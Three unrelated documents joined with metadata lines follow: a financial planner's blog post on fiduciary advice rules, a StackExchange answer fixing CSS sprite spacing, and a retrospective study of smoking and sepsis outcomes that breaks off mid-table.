The average person has no idea what a Fiduciary Financial Advice is, fair enough. But it does scare me how many financial professionals I talk to who still don’t know what it is either. So here we go, the basics of Fiduciary Financial Advice.
Definition: fi•du•ci•ar•y – A financial advisor held to a Fiduciary Standard occupies a position of special trust and confidence when working with a client. As a Fiduciary, the financial advisor is required to act with undivided loyalty to the client. This includes disclosure of how the financial advisor is to be compensated and any corresponding conflicts of interest. — NAPFA (National Association of Personal Financial Advisors)
Plain English: A Fiduciary is required by law to put clients’ interests ahead of their own. Any potential conflict of interest must be clearly disclosed. Different licensing and certifications may also come with their own specific fiduciary language and requirement. I personally am a Certified Financial Planner™ (CFP®) and an Accredited Investment Fiduciary™ (AIF®).
Another good thing to understand is that any financial professional – and this can include financial advisors, financial planners, stockbrokers, Wealth Manager, registered rep or Investment Advisor – can, and should, be a Fiduciary, therefore offering Fiduciary Financial Advice.
Regulation:
For example, the Financial Industry Regulatory Authority (FINRA) regulates stockbrokers. The suitability rule used by FINRA to regulate many of today’s financial people essentially assumes that you, the client, would not be ruined financially if the investment sum is lost. I.E. that you can afford to take a risk. But just because you can ‘afford’ a risk doesn’t mean you should take it, or would even consider it if you knew it wasn’t in your best interest. As a policy, this is pretty vague and really doesn’t address much transparency regarding conflicts, fees or having the clients’ best interest at heart. The new Fiduciary rules will go a long way to clarify the picture. But you should still do your own due diligence before hiring an advisor.
What’s new in Fiduciary Financial Advice?
The new Fiduciary Financial Advice rules, which were announced this year, are about 100 pages long and make tough reading for those who not up on the latest investment jargon and love deciphering legalese. So let me give you a little insight into what it actually means for you. Fiduciary Advice Los Angeles on the ABC Eyewitness News. Check out the video below.
Los Angeles Financial Guy David Rae on ABC 7 News.
Giving Fiduciary Financial advice is not a new thing but the number of people in the financial industry who will be required to become accredited Fiduciaries will jump in the coming year. While this topic has been in the news, it probably won’t make headline status until somewhere closer to the mandatory implementation date of April 1, 2017, or the final compliance day of January 1, 2018. Of course, this begs the question if you could be getting better advice now, don’t you think you deserve it now?
Fiduciary imperative
Hear me now: It is essential that your financial planner works in a Fiduciary capacity.
You as the client should feel safe that your advisor puts your financial success ahead of his own. Investment decisions can be hard enough without worrying if your stockbroker is only pitching something for her own quick commission. In the unregulated past, this was easier for those not working as a Fiduciary. In the future, Fiduciary Financial Advice requirements will change the financial salespeople do business.
These new policies will be a big change for the way many financial advisers do business; many will only change because they are being forced to do so. But if your financial planner doesn’t want to get on board with the Fiduciary rules, you may want to ask yourself why? What could they be hiding? Or how much money are they making that you aren’t seeing?
As it stands today, large numbers of Americans have no idea how they are paying their financial advisor, investment guy, or insurance salesman. More importantly, they probably have no idea exactly how much they are paying them because their fees are neither transparent, visible, nor clearly stated.
I’ve been helping people with their finances since early 2003. Putting my clients’ needs ahead of my own in just good business.
Who Gives Fiduciary Financial Advice?
I had a longtime client recently ask me, “Are you the only one who works this way?” Surely not, but as his fourth financial adviser in as many years he knew I was doing something different. Many people assume a financial adviser solely exists to pick investments, or beat the market, or open an IRA. That’s part of the story, sure. But IRAs or investments are just a few or the available tools to help people achieve financial independence. As a Fiduciary planner, my job is to use all available tools to help people make smarter financial decisions over the long run.
If you are currently working with a Fiduciary adviser, most likely not much will change for you with the implementation of the new rules. On the other hand, if you are working with someone who is more of a broker or other non-Fiduciary salesperson, you may receive everything from disclosures to new forms to sign, to suggestions to move your accounts. Pay attention to any and all disclosures you might receive, ask questions and don’t settle for half-baked answers. Don’t be afraid to come right out and ask them if they are a Fiduciary.
New realities of the new fiduciary financial advice rules
Just because your financial adviser will now be putting your interests first doesn’t mean that the market still won’t go up and go down. You can still lose money in the ‘best’ accounts or, ironically, potentially make money in a non-suitable account. Likewise, your advisor will continue to get paid, only now in a (hopefully) more transparent manner. This means that the advisory fee (or similar term) will be clearly noted on your monthly statement.
Best Interest Contract Exemption (BICE) Agreements (AKA Non-Fiduciary Financial Advice)
If your account doesn’t meet the new requirement of the Fiduciary Financial Advice Standard, you may be asked to sign a BICE agreement. This doesn’t necessarily mean your account is bad, it may just mean your advisor is actually doing the right thing. It also means your adviser is most likely not acting as a fiduciary capacity at least on this account.
If you came to me for advice on accounts you already have we may need to keep them to avoid surrender charges. We will also strategize to avoid realizing capital gains taxes. In the cases I would use it, keeping the particular product is in your best interest. But, and this is a big BUT, it’s still an account that wouldn’t stand up to being in your best interest to open again now if we were starting from scratch.
On the other hand, if your investment advisor refuses to get up to date and get on board with the Fiduciary rules, it may be time to look for another financial consultant. Do you really want to have someone living in the past planning for your future?
Financial future with Fiduciary Financial Advice
These new rules are meant to help the average person be in a better position to make the right investment decisions. Also to make it easier to understand exactly where he or she stands financially. You may be surprised to find out that your financial advisor is already a Fiduciary. If not, this may be a good opportunity to improve your accounts. Secure your overall financial plan for a prosperous future and independent retirement. More than likely your adviser is just a part-time fiduciary. Using commissions when it suits them. And fees when it is in their best interest, or when the laws say they have to.
Until next time, as always be fiscally fabulous because Your Money Matters. Why settle for anything less than the best Financial Advice?
DAVID RAE, Certified Financial Planner™ Accredited Investment Fiduciary™ is a Los Angeles Financial Planner with DRM Wealth Management. He is a regular contributor to the Advocate Magazine, Huffington Post, Forbes.com, and other fine publications as well as a financial advisor proudly serving friends of the LGBT community across the country for over a decade. Follow him on Facebook or via his website, www.davidraefp.com.
If you want Financial Advice Los Angeles you may also enjoy:
|
{
"pile_set_name": "OpenWebText2"
}
|
Q:
CSS sprite empty spaces underneath
I'm having problem with my sprite css, I've provided a jsfiddle so you can see what i mean. So as you can observe there are spaces beneath the image and I can't seem to find what the problem is. Is this because of the positioning? I tried using float but it only reduces the spaces.
What I want to accomplish is to remove the spaces underneath because it really looks ugly on my website having empty spaces.
PS. Also if I use absolute, It will overlap the text in my site.
JsFiddle
HTML
<div class="container">
<div class="row" style="text-align:center;">
<div class="arrow-sprite"></div>
<div class="arrow-sprite-2"></div>
<div class="arrow-sprite-3"></div>
<div class="arrow-sprite-4"></div>
<div class="arrow-sprite-5"></div>
</div>
</div>
CSS
.arrow-sprite {
background: no-repeat url(http://i.imgur.com/O8R881E.png) 19px 7px;
width: 450px;
height: 441px;
position: relative;
top: 11px;
left: 139px;
z-index: 1;
}
.arrow-sprite-2 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) -1381px -12px;
width: 475px;
height: 419px;
position: relative;
top: -375px;
left: 507px;
z-index: 4;
}
.arrow-sprite-3 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) -430px -8px;
width: 387px;
height: 416px;
position: relative;
top: -523px;
left: 134px;
z-index: 3;
}
.arrow-sprite-4 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) -900px 12px;
width: 442px;
height: 427px;
position: relative;
top: -908px;
left: 418px;
z-index: 3;
}
.arrow-sprite-5 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) 30px -438px;
width: 519px;
height: 490px;
position: relative;
top: -1529px;
left: 239px;
z-index: 0;
}
.arrow-sprite:hover, .arrow-sprite-2:hover,.arrow-sprite-3:hover,.arrow-sprite-4:hover {
filter: contrast(160%);
transition: 0.5s ease-in;
}
A:
Try changing your row's position to relative, then set the sprites to position:absolute; and readjusting the top positions for the sprites will do the trick.
Also set a specific height for the row so that it won't overlap
any other content below.
Run the snippet below:
.arrow-sprite {
background: no-repeat url(http://i.imgur.com/O8R881E.png) 19px 7px;
width: 450px;
height: 441px;
position: absolute;
top: 11px;
left: 139px;
z-index: 1;
}
.arrow-sprite-2 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) -1381px -12px;
width: 475px;
height: 419px;
position: absolute;
top: 65px;
left: 507px;
z-index: 4;
}
.arrow-sprite-3 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) -430px -8px;
width: 387px;
height: 416px;
position: absolute;
top: 333px;
left: 134px;
z-index: 3;
}
.arrow-sprite-4 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) -900px 12px;
width: 442px;
height: 427px;
position: absolute;
top: 358px;
left: 418px;
z-index: 3;
}
.arrow-sprite-5 {
background: no-repeat url(http://i.imgur.com/O8R881E.png) 30px -438px;
width: 519px;
height: 490px;
position: absolute;
top: 169px;
left: 239px;
z-index: 0;
}
.arrow-sprite:hover, .arrow-sprite-2:hover,.arrow-sprite-3:hover,.arrow-sprite-4:hover {
filter: contrast(160%);
transition: 0.5s ease-in;
}
<div class="container">
<div class="row" style="text-align:center;position: relative;height: 850px;">
<div class="arrow-sprite"></div>
<div class="arrow-sprite-2"></div>
<div class="arrow-sprite-3"></div>
<div class="arrow-sprite-4"></div>
<div class="arrow-sprite-5"></div>
</div>
<div class="row">Prow scuttle parrel provost Sail ho shrouds spirits boom mizzenmast yardarm. Pinnace holystone mizzenmast quarter crow's nest nipperkin grog yardarm hempen halter furl. Swab barque interloper chantey doubloon starboard grog black jack gangway rutters.
Deadlights jack lad schooner scallywag dance the hempen jig carouser broadside cable strike colors. Bring a spring upon her cable holystone blow the man down spanker Shiver me timbers to go on account lookout wherry doubloon chase. Belay yo-ho-ho keelhaul squiffy black spot yardarm spyglass sheet transom heave to.
Trysail Sail ho Corsair red ensign hulk smartly boom jib rum gangway. Case shot Shiver me timbers gangplank crack Jennys tea cup ballast Blimey lee snow crow's nest rutters. Fluke jib scourge of the seven seas boatswain schooner gaff booty Jack Tar transom spirits.</div>
</div>
|
{
"pile_set_name": "StackExchange"
}
|
Background {#Sec1}
==========
Tobacco smoking remains the leading cause of preventable illness and death worldwide, accounting for approximately six million deaths annually \[[@CR1]\]. Smoking imposes a heavy economic toll, costing countries billions of dollars in productivity and medical care \[[@CR1]\]. In addition, it negatively impacts patient outcomes from acute illnesses, including influenza, pneumococcal pneumonia, and acute respiratory distress syndrome \[[@CR2]--[@CR4]\]. Although tobacco smoking is a risk factor for pulmonary and extra-pulmonary infections alike, its role in sepsis remains unclear \[[@CR4]--[@CR7]\].
Sepsis affects over one million individuals annually in the USA, and the mortality can be as high as 30% \[[@CR8]\]. The costs incurred by sepsis have been estimated at \$20 billion annually, making it one of the most expensive conditions treated in hospitals \[[@CR8]\]. Smoking predisposes to infection through both structural and immunologic mechanisms \[[@CR2]\]. Tobacco smoke causes peribronchiolar inflammation and fibrosis, which results in an alteration in mucosal permeability and deterioration in the function of the mucociliary escalator therefore increasing susceptibility to infection \[[@CR2], [@CR9]\]. Cigarette smoking also affects cell-mediated and humoral immune responses to infection, resulting in a number of seemingly contradictory influences on immune function, including both pro-inflammatory and immunosuppressive effects \[[@CR10]--[@CR13]\]. Such immunosuppressive effects may be expected to increase the severity and duration of infection \[[@CR14]--[@CR16]\]. Contrarily, there is some evidence that current smoking is associated with a decreased risk of mortality in pneumococcal pneumonia with bacteremia \[[@CR17]\]. Given the complex nature of the effect of smoking on immune function, it is difficult to predict the overall impact of tobacco smoking on clinical outcomes in sepsis \[[@CR5]\]. Furthermore, there is a paucity of published data and the results are conflicting with regard to the effects of smoking on sepsis-related morbidity and mortality \[[@CR8], [@CR18], [@CR19]\]. Here, we describe the association between smoking status and patient outcomes in severe sepsis and septic shock.
Methods {#Sec2}
=======
Study population {#Sec3}
----------------
The study was conducted at Lahey Hospital & Medical Center, a 317-bed tertiary care, academic hospital with approximately 40,000 emergency department visits annually. The institutional review board approved this study and waived the need for informed consent. Consecutive adults (≥ 18 years) discharged with a sepsis-related diagnosis between February 1, 2013, and January 30, 2014, were identified using ICD-9 codes (038, 0380, 0389, 77181, 78552, 99802, 99591, and 99592). The medical records were then manually reviewed to confirm that the patients met the criteria for either severe sepsis or septic shock. The sepsis-2 consensus definitions were utilized because data collection commenced prior to the publication of the sepsis-3 definition \[[@CR20]\]. We included only patients meeting criteria for either severe sepsis or septic shock. In patients who had multiple episodes of severe sepsis or septic shock during a single hospitalization, only the first episode was included. Likewise, for patients with multiple admissions for severe sepsis or septic shock during the study period, solely their first admission was included.
Patients were excluded if they met the criteria for sepsis alone (without organ dysfunction), had systemic inflammatory response syndrome (SIRS) without a suspected infection, they had a history of immunosuppression (solid organ transplantation, stem cell transplantation; cytotoxic chemotherapy in the past 3 months; HIV infection; chronic corticosteroid therapy with ≥ 10 mg of prednisone or equivalent; neutropenia with an absolute neutrophil count \< 1000/mm^3^; congenital immunodeficiency; or immunosuppressive therapy in the past 3 months, including azathioprine, methotrextate, TNF-alpha antagonists, or other biologic immunosuppressants), they were pregnant, smoking history was unavailable, were transitioned to comfort care only within 24 h of admission, and if treatment for sepsis was commenced at an outside hospital.
We retrospectively collected, from the medical record, demographics including age, gender, co-morbid conditions, sequential organ failure assessment (SOFA) score at the time of diagnosis with sepsis, and smoking status, as well as other predictors of outcomes related to sepsis. In order to characterize smoking status, the Center for Disease Control and Prevention's (CDC) definitions of current, former, and never smoker were adapted \[[@CR21]\]. A current smoker was defined as an individual who smoked ≥ 100 cigarettes and still smoked daily on admission or quit within 1 year of admission. A former smoker smoked ≥ 100 cigarettes and quit more than 1 year of admission. A never smoker never smoked a cigarette or smoked less than 100 cigarettes during her/his lifetime. A non-smoker was defined as the combination of all former and never smokers. In addition, data on sepsis-related outcomes, including intensive care unit (ICU) and hospital mortality, ICU and hospital length of stay, the need for and duration of treatment with vasopressors, the need for and duration of renal replacement therapy, and the need for and duration of mechanical ventilation were collected.
Statistics {#Sec4}
----------
The primary outcome was inpatient mortality, and secondary outcomes were hospital length of stay, ICU length of stay, and the need for vasopressors, dialysis, and mechanical ventilation. The continuous variables were tested for normality. Nonparametric continuous variables were compared between current smokers, never smokers, and former smokers using Wilcoxon rank-sum test. Categorical variables were compared using chi-square test. The impact of smoking and other covariates on mortality was explored. Variables showing a significant difference (*p* ≤ 0.10) in univariate analysis were included in the multivariable logistic regression analysis. Chronic obstructive pulmonary disease (COPD) was also included in the multivariable analysis as the authors felt that clinically, it was an important mediator in the association. The statistical analysis for this study was generated using Statistical Analysis Software (SAS), version 9.4 for Windows.
Results {#Sec5}
=======
Patient characteristics {#Sec6}
-----------------------
There were 1437 patients identified with a sepsis-related discharge diagnosis based on ICD-9 codes. After manually reviewing the medical records, 562 individuals met criteria for inclusion in this study (Fig. [1](#Fig1){ref-type="fig"}). Current smokers accounted for 19% (107/562) of patients, and 81% (455/562) were non-smokers. As a reference, the prevalence of smoking reported in the state of Massachusetts was 17% (95% CI, 16--18) for the year this study was conducted \[[@CR22]\]. Of the non-smokers in our study, 55% (249/455) were former smokers and the rest (45%, 206/455) never smoked. Details on smoking history were available for 86/107(80%) of current smokers. The mean number of cigarettes smoked per day in this group was 23.3 ± 13.4, and the mean number of pack years smoked was 45.7 ± 30.5. In former smokers, a detailed smoking history was available in 176/249 (71%) of patients. In this group, the mean number of cigarettes smoked per day was 22.9 ± 13.5 and the mean number of pack-years smoked was 37.1 ± 25.6. The majority of patients were male (62%, 347/562), and there was no difference in gender distribution among the groups (Table [1](#Tab1){ref-type="table"}). Current smokers were significantly younger than non-smokers (age 58, IQR 50--69 vs 78, IQR 66--85, *p* \< 0.01). The median Charlson Comorbidity Index (CCI) was significantly lower in current smokers compared to non-smokers (4, IQR 2--5 vs 5, IQR 4--7, *p* \< 0.01). Current smokers had fewer cardiac, neurologic, and renal co-morbidities but had more cirrhosis, COPD, and alcohol abuse than non-smokers (Table [1](#Tab1){ref-type="table"}).Fig. 1Patient enrollment. This is a study flow chart of patients with severe sepsis and septic shock based on smoking historyTable 1Baseline characteristics stratified by smoking historyDemographicsAll (*N* = 562)Current smokers (*N* = 107)Non-smokers (*N* = 455)*P* value\*\
(current vs. non)Former smokers (*N* = 249)*P* value\*\*\
(current vs. former)Never smokers (*N* = 206)*P* value^§^\
(current vs. never)Age---median years (IQR)74 (61--84)58 (50--69)78 (66--85)\< 0.000178 (69--85)\< 0.000176.5 (61--85)\< 0.0001Male---*n* (%)347 (62%)69 (65)278 (61)0.52166 (67)0.69112 (54)0.09BMI, median (IQR)26 (23--31)26 (23--32)26 (23--31)0.8726 (23--31)0.6626 (22--31)0.86FEV1 mean (std)^∫^1.76 (0.78)2.11 (1.05)1.65 (0.64)0.0481.64 (0.64)0.0491.67 (0.65)0.09FEV1 % pred mean (std)^∫^68.4 (24.5)66.6 (23.3)68.9 (24.9)0.6969.3 (24.2)0.6567.9 (27.5)0.87FVC mean (std) ^∫^2.54 (0.97)3.07 (1.13)2.37 (0.85)\< 0.012.39 (0.83)0.0042.32 (0.93)0.03FVC % pred mean (std)^∫^73.2 (20.9)75.9 (20.5)72.3 (21.0)0.4673.0 (19.0)0.5470.2 (26.6)0.44FEV1/FVC mean (std)^∫^68.6 (15.9)67.3 (16.0)69.0 (15.9)0.6569.1 (14.6)0.6468.7 (19.8)0.79Hospital acquired sepsis^\#^52 (9.3%)15 (14%)37 (8.1%)0.0621 (8.4%)0.1116 (7.8%)0.08Charlson Score, median (IQR)5 (4--7)4 (2--5)5 (4--7)\< 0.00016 (4--7)\< 0.00015 (3--7)0.0005MI, *n* (%)151 (27)19 (18)132 (29)0.00293 (37)0.000339 (19)0.80CHF, *n* (%)137 (24)14 (13)123 (27)0.00375 (30)0.000748 (23)0.03CVA, *n* (%)75 (13)6 (6)69 (15)\< 0.0138 (15)0.0131 (15)0.01Dementia, *n* (%)64 (11)3 (3)61 (13)\< 0.0134 (14)0.00227 (13)0.003COPD, *n* (%)110 (20)35 (33)75 (17)\< 0.0168 (27)0.307 (3)\< 0.0001DM, *n* (%)161 (29)27 (25)134 (30)0.3972 (29)0.4862 (30)0.37Cirrhosis, *n* (%)56 (10)24 (22)32 (7)\< 0.0115 (6)\< 0.000117 (8)0.0004CKD, *n* (%)55 (10)5 (5)50 (11)0.0533 (13)17 (8)Source of infection Pneumonia, *n* (%)241 (43)53 (50)188 (41)0.12116 (47)0.6172 (35)0.01 Genitourinary154 (27)21 (20)133 (29)0.0566 (27)0.1767 (32)0.02 Abdominal108 (19)31 (29)77 (17)\< 0.0142 (17)0.0135 (17)0.01 Soft tissue39 (7)2 (2)37 (8)0.0223 (9)0.0114 (7)0.06 CNS3 (1)1 (1)2 (0.4)0.530 (0)0.132 (1)0.98 Cardiovascular9 (2)2 (2)7 (2)0.812 (1)0.385 (2)0.75 Blood stream73 (13)12 (11)61 (13)0.5428 (11)0.9933 (16)0.25 CVC10 (2)0 (0)10 (2)0.124 (2)0.196 (3)0.07 Other000--0--0-- Unknown16 (3)2 (2)14 (3)0.506 (2)0.758 (4)0.34Medical, *n* (%)481 (86)84 (79)397 (87)0.02218 (88)0.03179 (87)0.05Surgical81 (13)23 (22)58 (13)31 (13)27 (13)Alcohol abuse, *n* (%)64 (11)37 (35)27 (6)\< 0.0119 (8)\< 0.00018 (4)\< 0.0001Severe sepsis, *n* (%)319 (57)47 (44)272 (60)\< 0.01144 (58)0.02128 (62)0.002Septic shock, *n* (%)243 (43)60 (56)183 (40)105 (42)78 (38)Lactate---median (IQR)2.1 (1.3--3.4)2.1 (1.5--3.1)2.05 (1.2--3.5)0.532.0 (1.2--3.2)0.532.1 (1.2--3.7)0.61SOFA score median (IQR)6 (3--9)7 (4--12)5 (3--9)\< 0.015 (3--9)0.0015 (3--8)\< 0.0001Respiratory^‡^\
median (IQR)1 (0--2)2 (0--3)1 (0--2)\< 0.0011 (0--3)0.0150 (0--2)\< 0.000172 h fluid balance---median L (IQR)2.1 (0.2--4.35)2.3 (0.01--5.9)2.1 (0.26--4.1)0.322.1 (0.01--4.1)0.182.2 (0.5--4.1)0.67Stress steroids given---*n* (%)38 (7)9 (8)29 (6)0.4517 (7)0.6012 (6)0.38Time to appropriate antibiotics after hypotension---minutes, median (IQR)60 (− 60--159)35 (− 117--120)61 (− 60--165)0.2360 (− 76--165)0.4468.5 (− 22--170)0.14Appropriate empiric antibiotics given based on culture data Yes, *n* (%)248 (44)53(50)195/454 (43)0.17107 (43)0.1788/205 (43)0.26 No, *n* (%)50 (9)5(5)45/454 (10)26 (10)19/205 (9) Unknown, *n* (%)263 (47)49(46)214/454 (47)116 (47)98/205 (48)Abbreviations: *IQR* interquartile range, *BMI* body mass index, *std.* standard deviation, *FEV1* forced expiratory volume in 1 s, *FVC* forced vital capacity, *MI* myocardial infarction, *CHF* congestive heart failure, *CVA* cerebrovascular accident, *COPD* chronic obstructive pulmonary disease, *DM* diabetes mellitus, *CKD* chronic kidney disease, *CNS* central nervous system, *CVC* central venous catheter, *SOFA* sequential organ failure assessment\**P* value refers to comparison between current smokers and non-smokers\*\**P* value refers to comparison between current smokers and former smokers^§^*P* value refers to comparison between current smokers and never smokers^∫^There were only 98/562 (17.4%) patients that had available pulmonary function testing recorded prior to data collection. Therefore, the *N* in this section is unique: current smokers *N* = 24, former smoker *N* = 55, never smoker *N* = 19. Additionally, the reported spirometry is pre-bronchodilator^\#^Individuals who acquired sepsis more than 48 h following hospital admission^‡^Independent evaluation of respiration as part of SOFA score. 0 = PaO~2~/FiO~2~ ratio \> 400, 1 = PaO~2~/FiO~2~ 301--400 or SaO2/FiO~2~ 221--301, 2 = PaO~2~/FiO~2~ 201--300 or SaO2/FiO~2~ 142--220, 3 = PaO~2~/FiO~2~ 101--200 or SaO2/FiO~2~ 67--141, 4 = PaO~2~/FiO~2~ \< 100 or SaO2/FiO~2~ 67
The overall percentage of patients with severe sepsis was 57% (319/562) and 43% (243/562) had septic shock. The proportion of patients with septic shock was significantly higher among current smokers (56%, 60/107 vs 40%, 183/455; *p* \< 0.01), and pneumonia was the commonest source of sepsis among all groups. Abdominal sepsis was commoner in current smokers, whereas soft tissue and genitourinary infections were more frequently seen in non-smokers (Table [1](#Tab1){ref-type="table"}). Current smokers had a significantly higher SOFA score than non-smokers at the time of diagnosis of severe sepsis or septic shock (7, IQR 4--12 vs 5, IQR 3--9; *p* \< 0.01). Specifically, the respiratory component of the SOFA score was higher in the current smokers versus non-smokers (2, IQR 0--3 vs 1, IQR 0--2; *p* \< 0.001).
Clinical outcomes {#Sec7}
-----------------
The proportion of patients who died during their hospital stay was higher in current smokers (32%, 34/107) when compared to non-smokers (22%, 101/455, *p* = 0.04) (Table [2](#Tab2){ref-type="table"}). In the multivariable analysis, when current smokers were compared to non-smokers, there was a trend towards higher mortality among current smokers but this failed to meet statistical significance (OR 1.81, 95% CI 0.92--3.54, *p* = 0.08) (Table [3](#Tab3){ref-type="table"}). In comparison with former smokers, mortality was higher among current smokers (OR 2.18, 95% CI 1.002--4.743, *p* \< 0.05) (Table [4](#Tab4){ref-type="table"}). This association was not observed when mortality was compared between current smokers and never smokers (OR 1.47, 95% CI 0.612--3.516, *p* = 0.39) (Table [5](#Tab5){ref-type="table"}). The percentage of patients who required ICU admission was higher in current smokers versus non-smokers (70% 75/107 vs 53% 243/455, *p* \< 0.01). There was a trend towards a longer ICU length of stay in survivors in that same cohort (6, IQR 3--11 vs 4, IQR 2--10 days, *p* = 0.06). The overall hospital length of stay in survivors was significantly longer when comparing current smokers versus non-smokers (8, IQR 4--18 vs 7 IQR 4--12 days, *p* = 0.03). There was a greater need for mechanical ventilation (58 vs 29%, *p* \< 0.01) and vasopressors (53 vs 39%, *p* \< 0.01) in current smokers vs non-smokers, respectively, though the ventilator days, vasopressor days, the need for dialysis, and dialysis days did not significantly differ between the compared groups (Table [2](#Tab2){ref-type="table"}). After controlling for other confounders, current smoking predicted the need for mechanical ventilation (OR 2.38, 95% CI 1.06--5.34, *p* = 0.04) but did not predict the need for vasopressors or ICU admission (Tables [6](#Tab6){ref-type="table"}, [7](#Tab7){ref-type="table"}, and [8](#Tab8){ref-type="table"}).Table 2Outcomes in smokers, former smokers, and never smokers with severe sepsis or septic shockOutcomesCurrent smokers (*N* = 107)Non-smokers (*N* = 455)*P* value\*Former smokers (*N* = 249)*P* value^\*\*^Never smokers (*N* = 206)*P* value^§^Mortality^‡^---*n* (%)34 (32)101 (22)0.0460 (24)0.1341 (20)0.02Hospital LOS---median days (IQR)7 (4--17)7 (4--12)0.197 (4--12)0.267 (4--12)0.20Hospital LOS in survivors8 (4--18)\
(*N* = 73)7 (4--12)\
(*N* = 354)0.037 (4--12)\
(*N* = 189)0.057 (4--11)\
(*N* = 165)0.05ICU LOS5 (3--10)\
(*N* = 75)4 (2--11)\
(*N* = 243)0.365 (2--11)\
(*N* = 135)0.674 (2--10)\
(*N* = 108)0.20ICU LOS survivors6 (3--11)\
(*N* = 47)4 (2--10)\
(*N* = 162)0.064 (2--10)\
(*N* = 84)0.104 (2--10)\
(*N* = 78)0.07Required ICU admission---*n* (%)75 (70)243 (53)\< 0.01135 (54)\< 0.01108 (52)\< 0.01Required vasopressors---*n* (%)57 (53)175 (39)\< 0.01104 (42)0.0571 (34)\< 0.01Vasopressor days---median (IQR)3 (2--4)\
(*N* = 57)3 (2--5)\
(*N* = 175)0.973 (2--5.5)\
(*N* = 104)0.723 (2--5)\
(*N* = 71)0.68Required mechanical ventilation---*n* (%)62 (58)133 (29)\< 0.0177 (31)\< 0.0156 (27)\< 0.01Ventilator days5 (2--9)\
(*N* = 62)5 (2--9)\
(*N* = 133)0.996 (2--11)\
(*N* = 77)0.424 (2--8)\
(*N* = 56)0.32Required dialysis---*n* (%)10 (9)42 (9)0.9727 (11)0.6715 (7)0.52Dialysis days4 (2--6)\
(*N* = 10)4 (2--9)\
(*N* = 42)0.586 (3--13)\
(*N* = 27)0.303 (2--6)\
(*N* = 15)0.74*LOS* length of stay, *ICU* intensive care unit\**P* value refers to comparison between current smokers and non-smokers\*\**P* value refers to comparison between current smokers and former smokers^§^*P* value refers to comparison between current smokers and never smokers^‡^Includes death or discharge to hospiceTable 3Multivariable logistic regression analysis of active smoking and mortality in severe sepsis and septic shock (current smokers vs. non-smokers)Risk factorOdds ratio (95% CI)*P* valueCurrent smoking1.81 (0.92--3.54)0.08Alcohol abuse1.17 (0.54--2.49)0.6972 h fluid balance1.06 (0.99--1.13)0.08Age1.02 (0.99--1.05)0.06Charlson score1.16 (1.02--1.31)0.02SOFA1.15 (1.068--1.238)\< 0.01COPD0.98 (0.539--1.794)0.96Hospital acquired sepsis1.51 (0.711--3.201)0.28Severe sepsis0.54 (0.288--1.011)0.05Genitourinary infect0.52 (0.282--0.970)0.04Abdominal0.93 (0.487--1.757)0.81Soft tissue1.03 (0.394--2.713)0.95Medical ICU admission1.62 (0.765--3.411)0.21All survival predictors (except for "respiratory") that were noted to be significant (*p* \< 0.1) on univariate analysis were included in this multivariate model*SOFA* sequential organ failure assessment, *COPD* chronic obstructive pulmonary diseaseTable 4Multivariable logistic regression analysis of active smoking and mortality in severe sepsis and septic shock (current smokers vs. former smokers)Risk factorOdds ratio (95% CI)*P* valueCurrent smoking2.18 (1.00--4.74)0.049Alcohol abuse1.61 (0.67--3.85)0.2972 h fluid balance1.03 (0.95--1.12)0.42Age1.02 (0.99--1.05)0.17Charlson score1.18 (1.00--1.38)0.05SOFA1.15 (1.05--1.25)\< 0.01COPD0.98 (0.49--1.93)0.94Hospital acquired sepsis1.77 (0.704--0.4.442)0.23Severe sepsis0.40 (0.176--0.895)0.03Genitourinary infect0.29 (0.12--0.71)\< 0.01Abdominal0.95 (0.43--2.10)0.90Soft tissue1.99 (0.61--6.51)0.25Medical ICU admission1.65 (0.66--4.15)0.29Table 5Multivariable logistic regression analysis of active smoking and mortality in severe sepsis and septic shock (current smokers vs. never smokers)Risk factorOdds ratio (95% CI)*P* valueCurrent smoking1.47 (0.61--3.52)0.39Alcohol abuse0.73 (0.29--1.86)0.5172 h fluid balance1.04 (0.95--1.13)0.45Age1.03 (0.99--1.06)0.10Charlson score1.21 (1.02--1.43)0.03SOFA1.12 (1.02--1.24)0.02COPD1.62 (0.59--4.41)0.35Hospital acquired sepsis1.13 (0.40--3.17)0.28Severe sepsis0.65 (0.29--1.01)0.82Genitourinary infect0.86 (0.39--1.90)0.71Abdominal0.98 (0.42--2.33)0.97Soft tissue0.557 (0.10--3.08)0.50Medical ICU admission1.06 (0.39--2.84)0.91Table 6Multivariable analysis of active smoking and requiring ICU admission in severe sepsis and septic shock (current smokers vs. non-smokers)Risk factorOdds ratio (95% CI)*P* valueCurrent smoking0.93 (0.41--2.13)0.86Alcohol abuse0.83 (0.31--2.23)0.7172 h fluid balance1.04 (0.94--1.16)0.42Age0.987 (0.96--1.01)0.31Charlson score1.03 (0.89--1.19)0.70SOFA1.42 (1.27--1.60)\< 0.01COPD1.35 (0.67--2.76)0.40Hospital acquired sepsis3.87 (1.11--13.5)0.03Severe sepsis0.08 (0.04--0.16)\< 0.01Genitourinary infect0.55 (0.29--1.04)0.07Abdominal1.02 (0.44--2.35)0.97Soft tissue0.95 (0.27--3.26)0.93Medical ICU admission0.71 (0.27--1.91)0.50Table 7Multivariable analysis of active smoking and requiring vasopressors in severe sepsis and septic shock (current smokers vs. non-smokers)Risk factorOdds ratio (95% CI)*P* valueCurrent smoking2.10 (1.01--4.36)0.58Alcohol abuse1.25 (0.50--3.10)0.9972 h fluid balance1.05 (0.98--1.13)\< 0.01Age1.02 (0.98--1.07)0.34Charlson score0.89 (0.67--1.176)0.40SOFA1.59 (1.34--1.88)\< 0.01COPD1.62 (0.39--6.68)0.51Hospital acquired sepsis3.94 (0.61--25.4)0.15Severe sepsis0.004 (0.001--0.01)\< 0.01Genitourinary infect1.01 (0.33--3.03)0.99Abdominal0.61 (0.17--2.19)0.45Soft tissue1.03 (0.14--7.37)0.98Medical ICU admission1.23 (0.28--5.43)0.79Table 8Multivariable analysis of active smoking and requiring mechanical ventilation in severe sepsis and septic shock (current smokers vs. non-smokers)Risk factorOdds ratio (95% CI)*P* valueCurrent smoking2.38 (1.06--5.34)0.04Alcohol abuse0.99 (0.37--2.66)0.9972 h fluid balance1.05 (0.97--1.11)0.21Age0.98 (0.96--1.01)0.21Charlson score0.92 (0.78--1.09)0.33SOFA1.53 (1.37--1.70)\< 0.01COPD1.13 (0.52--2.43)0.76Hospital acquired sepsis1.25 (0.45--3.45)0.66Severe sepsis0.45 (0.23--0.88)0.02Genitourinary 